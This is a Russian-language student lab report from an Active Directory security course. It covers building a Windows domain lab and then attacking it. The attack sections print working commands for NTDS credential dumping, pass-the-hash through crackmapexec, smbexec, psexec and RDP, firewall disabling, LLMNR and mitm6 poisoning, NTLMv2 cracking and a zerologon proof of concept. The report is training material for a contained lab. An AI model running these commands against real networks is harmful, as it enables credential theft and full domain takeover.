# CYB-1_20.08.2021_Операционная система Windows и Active Directory --- ## Занятие 1 --- - [ ] Oracle Virtualbox установлен; - [ ] Oracle Virtualbox extentions установлены; - [ ] Windows Server 2016 (анлгийская версия) установлен; - [ ] Windows Server 2016 (русская версия) установлен; - [ ] Windows 10 установлен; - [ ] Mikrotik импортирован; - [ ] На Mikrotik настроен сетевой адаптер локальной сети; - [ ] На Mikrotik настроен NAT. ![](https://i.imgur.com/OB2tcGF.png) ![](https://i.imgur.com/LHFhBvT.png) --- ## Занятие 2 --- - [ ] Статические адреса настроены на двух WinServer; - [ ] Имена компьютеров Winserver и Win10 настроены (dc1, dc2, pc1); - [ ] На оба WinServer установлены роли AD, DHCP, DNS; - [ ] WinServer en сконфигурирован как основной контроллер домена hackeru.local; - [ ] WinServer ru сконфигурирован как второстепенный контроллер домена; - [ ] Win10 внесён в домен. ![](https://i.imgur.com/8zl4ROl.png) ![](https://i.imgur.com/JYKE0TR.png) ![](https://i.imgur.com/2qcqgYk.png) ![](https://i.imgur.com/ize3bun.png) ![](https://i.imgur.com/ME2QEqt.png) ![](https://i.imgur.com/VjQliN8.png) ![](https://i.imgur.com/9l9ntmy.png) --- ## Занятие 3 --- Применён скрипт newadusergroups.ps1 (созданы OU, пользователи и группы). По итогу в домене будет такая структура объектов: ![](https://i.imgur.com/pVdZvKu.png) ![](https://i.imgur.com/p5YMmmp.png) --- ## Занятие 4 --- - [ ] DHCP сервер сконфигурирован на одном из контроллеров домена; - [ ] Создана групповая политики расширенного логирования; - [ ] Политика применена на контроллеры домена. ![](https://i.imgur.com/j5OjpRY.png) ![](https://i.imgur.com/UZ5Alkf.png) --- ## Занятие 5 --- - [ ] Создана сетевая папка на одном из контроллеров домена; - [ ] К сетевой папке примены настройки аудита удаления файлов; - [ ] От имени любого пользователя, работающего на Win10, проведено удаление вложенных файлов/папок из сетевой папки; - [ ] В журнале событий найдены события удаления. ![](https://i.imgur.com/KBBRnXM.png) ![](https://i.imgur.com/LAyUJuI.png) ![](https://i.imgur.com/sMO7G5W.png) --- ## Занятие 6 - Атаки на домен. --- - [ ] Проведён бэкап файла NTDS; - [ ] Бэкап перекинут на Kali linux; - [ ] Просмотрено содержимое файла с помощью secrestdump; - [ ] Загружен .exe или .msi файл с Kali Linux на рабочий стол одного из пользователей win10; - [ ] Удалось подключиться с Kali по RDP на Win10; - [ ] С помощью mitm6 перехвачена аутентификация трёх пользователей домена. ### Анализ базы NTDS Для проведения атак нам потребуются пары значений: учетная запись и NTLM hash её пароля. Получить их можно, например, из NTDS. Для демонстрации воспользуемся базовыми средствами Windows для работы с NTDS. Необходимо зайти в командную строку от имени администратора и ввести команды: >ntdsutil activate instance ntds ifm create full C:\temp Этот набор команд активирует процесс Install From Media, позволяющий сделать копию нашего NTDS с необходимыми ветками реестра в каталоге C:\temp ![](https://i.imgur.com/HXXz2JL.png) Для переноса файлов воспользуемся базовыми средствами Kali Linux. С помощью SMB зайдём на сервер Win с Kali: >smbclient "\\\192.168.10.201\C$" -U hackeru.local/Administrator где 192.168.10.201 – ip адрес контроллера домена, hackeru.local – имя домена, Administrator – имя учетной записи с правами администратора. После чего скопируем файлы на Kali: >recurse ON prompt OFF lcd /home/kali mget temp где /home/kali – домашняя папка пользователя Kali linux ![](https://i.imgur.com/TFZlxFB.png) Для анализа дампа NTDS нужно скачать impacket. Находясь в домашней директории пользователя, выполните набор команд: >git clone https://github.com/SecureAuthCorp/impacket apt install python3-pip cd impacket pip install . У kali должен быть выход в интернет У четвертой команды в конце точка, это часть команды. После установки нужно пройти из директории impacket в директорию examples (она внутри папки импакета) и выполнить следующую команду: >python3 secretsdump.py -ntds /home/user/temp/Active\ Directory/ntds.dit -system /home/user/temp/registry/SYSTEM LOCAL где secretsdump.py – исполняемый скрипт, ntds.dit – анализируемый инстанс базы данных NTDS, registry/SYSTEM – ветка реестра, с помощью которой мы можем прочитать NTDS, LOCAL – флаг для скрипта, который говорит, что мы анализируем NTDS локально. Внимательно следите за слешами – мы экранируем пробелы обратным слешем. ![](https://i.imgur.com/U5DLZ6f.png) ### Path-the-hash Получив учетную запись и хэш её пароля можно выполнять атаки вида PtH. С помощью таких атак мы можем выполнять любые действия, доступные пользователю, не имея оригинала пароля. ==Crackmapexec== Это набор python-скриптов для тестирования Windows окружения. Использует Windows API, поэтому обнаружить довольно сложно. Самое базовое применение – быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb: >crackmapexec smb 192.168.10.0/24 ![](https://i.imgur.com/dkd8NVD.png) Можно выполнять команды от имени пользователя на удаленной машине посредством командной строки: >crackmapexec smb 192.168.10.201 -u Administrator -H 5d273358765a86db2092511f88c93fa5 -x whoami Где -H 5d273358765a86db2092511f88c93fa5 – это NTLM хэш учетной записи Administrator (LM хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее). ![](https://i.imgur.com/AP9v7w7.png) Можно посмотреть и список сетевых папок, доступных конкретному пользователю: >crackmapexec smb 192.168.10.201 -u Administrator -H 5d273358765a86db2092511f88c93fa5 --shares ![](https://i.imgur.com/97zk7tv.png) ==smbexec== А ещё в impacket есть интересная утилита smbexec, позволяющая запустить cmd windows для удаленной передачи команд, при этом практически не оставляя следов: >python3 smbexec.py hackeru.local/administrator@192.168.10.201 -hashes aad3b435b51404eeaad3b435b51404ee:5d273358765a86db2092511f88c93fa5 ![](https://i.imgur.com/2HvJBDr.png) Здесь используется LM:NTLM формат хэша. Обратите внимание что команды выполняются от имени пользователя system! ==psexec== Есть аналог – psexec >python3 psexec.py domain/username:password@hostIP или с использованием хэша >python3 psexec.py hackeru.local/administrator@192.168.10.201 -hashes aad3b435b51404eeaad3b435b51404ee:5d273358765a86db2092511f88c93fa5 ![](https://i.imgur.com/RlUAwj5.png) Для передачи файла на Win10 будем использовать WinRM (Windows Remote Management) – это специальный сервис, позволяющий администраторам получить возможность удаленного доступа и управления клиентскими и серверными ОС Windows. Устанавливаем на Kali программу evel-winrm >gem install evil-winrm Служба WinRM включена по умолчанию во всех версиях Windows Server, начиная с Windows Server 2012 (однако WinRM по умолчанию отключена в клиентских операционных системах, таких как Windows 10). Для активации WinRM на группе компьютеров можно воспользоваться групповой политикой. Более подробно см. [здесь.](https://winitpro.ru/index.php/2012/01/31/kak-aktivirovat-windows-remote-management-s-pomoshhyu-gruppovoj-politiki/ "Как активировать Windows Remote Management с помощью групповой политики") Нам для активации WinRM на одном нашем компьютере Win10 достаточно выполнить команду >winrm quickconfig -q :::info Здесь я столкнулся с проблемой: Ни один из вышеперечисленных способов удаленно выполнить команду не сработал на компьютере с Win10. Видимо из-за работающего брандмауэра. Пока локально под учеткой админа не отключил его командой >netsh advfirewall set allprofiles state off ничего сделать не мог, все команды отваливались по таймауту, даже ping молчал как рыба об лёд :confused: ::: После отключения брандмауэра попытки выполнить удаленные команды под пользователем Olga тоже не увенчались успехом ![](https://i.imgur.com/AEhKJ0K.png) ![](https://i.imgur.com/OYCyzXo.png) ![](https://i.imgur.com/hSLhwZv.png) Неизвестно отработала ли комада в последней попытке с crackmapexec, так как перед этим я выполнил команду 'winrm quickconfig' под администратором (psexec, smbexec под администратором отлично работают). Чтобы убедиться, что служба WinRM работает я ввел комаду 'winrm quickconfig' локально на Win10. ![](https://i.imgur.com/NpNNGeW.png) Попытка подключиться к службе WinRM Win10 под пользователем Olga потерпела неудачу ![](https://i.imgur.com/PEHpbvA.png) Под учетной записью Administrator я подключился ![](https://i.imgur.com/c3SJIni.png) :::info По условию задачи пользователь, учетная запись которого используется для выполнения команд, не должен быть доменным администратором (Например, Olga). Судя по всему, для возможности удаленного выполнения команд и подключения к WinRM учетная запись Olga должна обладать повышенными привелегиями (быть членом какой(их)-то групп(ы)). Как это исправить я пока не знаю. А тем более не представляю как это сделать удаленно пока мы не можем удаленно выполнять команды :disappointed: Дальнейшие действия производились под учетной записью Administrator. ::: Загружаем файл на рабочий стол и запускаем его ![](https://i.imgur.com/1d4tufM.png) Результат выполнения на Win10 ![](https://i.imgur.com/4zb5Ly5.png) Теперь попробуем с хешем зайти по RDP. По умолчанию служба RDP выключена. Чтобы включить удаленный рабочий стол, нам просто нужно изменить параметр реестра fDenyTSConnections с 1 на 0 на удаленном компьютере. Вот команда PowerShell, которую нуюно выполнить на удаленном компьютере >*Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0* Разрешаем подключение по RDP ![](https://i.imgur.com/er79wS6.png) После этого этого воспользуемя следующей командой для запуска RDP >xfreerdp /d:hackeru.local /u:administrator /v:192.168.10.100 /pth:5d273358765a86db2092511f88c93fa5 при подключении по RDP может появиться такое сообщение ![](https://i.imgur.com/gTXb145.png) Это значит, что на компьтере, к которому мы пытаемся подключиться по RDP, запрещено использование режима RestrictedAdmin. Необходимо отменить этот запрет, то есть установить значение 0 для параметра DisableRestrictedAdmin в ветке реестра "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" ![](https://i.imgur.com/IUgDQFX.png) соответствующая команда PowerShell выглядит так: >*New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force* Более подробная информация содержится [здесь](https://social.technet.microsoft.com/wiki/contents/articles/32905.remote-desktop-services-enable-restricted-admin-mode.aspx "Службы удаленных рабочих столов: включить ограниченный режим администратора"). После того как запрет режима RestrictedAdmin снят ![](https://i.imgur.com/qoseoKU.png) команда >xfreerdp /d:hackeru.local /u:administrator /v:192.168.10.100 /pth:5d273358765a86db2092511f88c93fa5 успешно запускает RDP. ### Атаки на базовые протоколы Windows #### NBT-NS & LLMNR & mDNS Важной частью эксплуатации будет WPAD – специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками wpad.dat, а злоумышленник может подсунуть свой файл, став прокси-сервером для Win и таким образом осуществив атаку “человек посередине”. NBT-NS (NetBIOS Name Service) – протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS. LLMNR (Link-Local Multicast Name Resolution) – протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же – сетевое обнаружение. Использует мультикаст (то есть почти как широковещательный трафик, его в сети смогут увидеть все). mDNS (Multicast DNS) – суть такая же, как и у LLMNR. DNS через Мультикаст. Все вместе технологии реализуют Zeroconf. Основная уязвимость в этих протоколах – отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам. Например, пользователь PC1 вводит в “проводник” сетевой путь “\\computer-1”. Если PC1 не знает ничего про это имя и DNS сервер тоже не может ответить, то тогда PC1 спрашивает всю локальную сеть следующее: “кто нибудь в курсе, кто такой “computer-1” и какой у него IP?” Если мы ответим PC1 и скажем, что наш адрес – это адрес “computer-1”, то PC1 нам поверит. По итогу получим атаку вида MITM. Для того, чтобы автоматически отвечать на такие запросы, есть инструмент Responder. Атака не пройдёт, если реальный DNS сервер сможет ответить на DNS запрос компьютера. Запускаем Responder. >responder -I eth0 -wFv > >где -I eth0 – выбор интерфейса, -w – отравление WPAD, -F – попробовать принудить систему использовать старые протоколы аутентификации, если возможно, -v – вывод подробной информации (в т.ч. перехваченного хэша). ![](https://i.imgur.com/RvQxV9B.png) На Win10 пытаемся зайти на несуществующий ресурс ![](https://i.imgur.com/9yRFmQF.png) На Kali в выводе мы видим NTLNv2 аутентификацию, которую теперь можно брутфорсить через hashcat или John the ripper. В выводе будет NTLMv2 хэш, так как наш сервер не принимает kerberos аутентификацию, вынуждая win10 аутентифицироваться по чистому NTLMv2. ![](https://i.imgur.com/SAwa3t1.png) #### mitm6 Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютером данных по сети. Соответственно, на ПК отправляется IPv6 адрес DNS и шлюза, который является адресом злоумышленника. По итогу получаем атаку вида MITM. DHCPv6 сервер отправляет параметры любому запросившему. При осуществлении атаки мы заворачиваем трафик всех устройств на себя, чем парализуем работу домена. Использовать атаку с осторожностью. Даже после завершения атаки настроенные параметры у ПК остаются, приходится ожидать окончания аренды адреса или вручную перезагружать сетевые адаптеры. [Ссылка на программу](https://github.com/fox-it/mitm6), описание которой стоит прочитать от начала и до конца. Установить можно как скачав с гитхаба (git clone ...), так и выполнив следующую команду: >pip install mitm6 Вероятно, предварительно потребуется установить pip командой >apt install python3-pip Выполнение атаки. Запускаем mitm6 >mitm6.py -d hackeru.local необходимо указывать атакуемый домен hackeru.local ![](https://i.imgur.com/fFA907T.png) Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся SMB. Создание своего сервера SMB. Не отключая mitm6, создадим SMB сервер: >smbserver.py -smb2support SMB /root/SMB ![](https://i.imgur.com/Eh7WPdK.png) На Win10 через проводник стучимся на наш домен hackeru.local тремя разными пользователями ![](https://i.imgur.com/K8BWmK3.png) Видим данные аутентификации (хэши) трех пользователей Gleb, Petr, Olga ![](https://i.imgur.com/5kueZTM.png) Эти аутентификационные данные уже можно вскрывать с помощью hashcat или John the ripper. Это не чистый хэш пароля, а аутентификация по протоколу NTLMv2. Пример команды для брутфорса аутентификации NTLMv2 выглядит так: ![](https://i.imgur.com/a8ZoNRS.png) >где -m 5600 – тип хеша (NTLMv2 аутентификация); -a 3 – подбор по шаблону; -?a?a?a?a?a?a?a?a – шаблон пароля из 8 символов, где в каждой позиции может быть цифра, спецсимвол или буква (как большая так и маленькая); --status – вывод информации о ходе процесса. Результат работы (пароль и маска закрашены): ![](https://i.imgur.com/YiCb91Z.png) Для защиты от mitm6 надо выполнить в PowerShell следующую команду: >Set-NetIPInterface -AddressFamily IPv6 -InterfaceIndex $(Get-NetIPInterface -AddressFamily IPv6 | Select-Object -ExpandProperty InterfaceIndex) -RouterDiscovery Disabled -Dhcp Disabled ## Занятие 7 - Атака zerologon. - [ ] Проведена атака zerologon; - [ ] Просмотрено содержимое файла NTDS удалённо; - [ ] Найдены события, подтверждающие факт компрометации домена. Скачиваем PoC с github ![](https://i.imgur.com/pAnYtMN.png) Запускаем скрипт ![](https://i.imgur.com/WncKBSY.png) Через установленный хэш пустого пароля компьютера контроллера домена получаем доступ ко всем хэшам ![](https://i.imgur.com/9Qrdg1L.png) Для нормальной работы контроллера домена необходимо переустановить исходный хэш. Забираем информацию из реестра DC1 для восстанавления исходного хэша DC1 ![](https://i.imgur.com/ehNgCGJ.png) Извлекаем исходный NT-хэш учетной записи компьютера. ![](https://i.imgur.com/yLfZblK.png) Переустанавливаем исходный кэш учетной записи компьютера в домен ![](https://i.imgur.com/cT7ABlu.png) Проверяем. ![](https://i.imgur.com/KpILglo.png) Здесь я долго пытался понять в чем ошибка. У меня закралось подозрение, что скрипт не работает (не записывает исходный хэш) и я решил проверить с хешем от пустого пароля ![](https://i.imgur.com/Zsz00uU.png) Оказывается исходный хэш записался. Оставалось непонятным почему secretsdump запускается с хэшем от пустого пароля? После перезагрузки DC1 всё встало на свои места. Хеш пустого пароля не подходит ![](https://i.imgur.com/WvFEfLG.png) А исходный хеш DC1 теперь принимается ![](https://i.imgur.com/xVT0gNp.png) В момент проведения атаки было зафиксировано только одно событие в журнале System ![](https://i.imgur.com/fRKLzL9.png) :::info Хотелось бы узнать как можно определить, что на контроллер домена была совершена атака zerologon? :::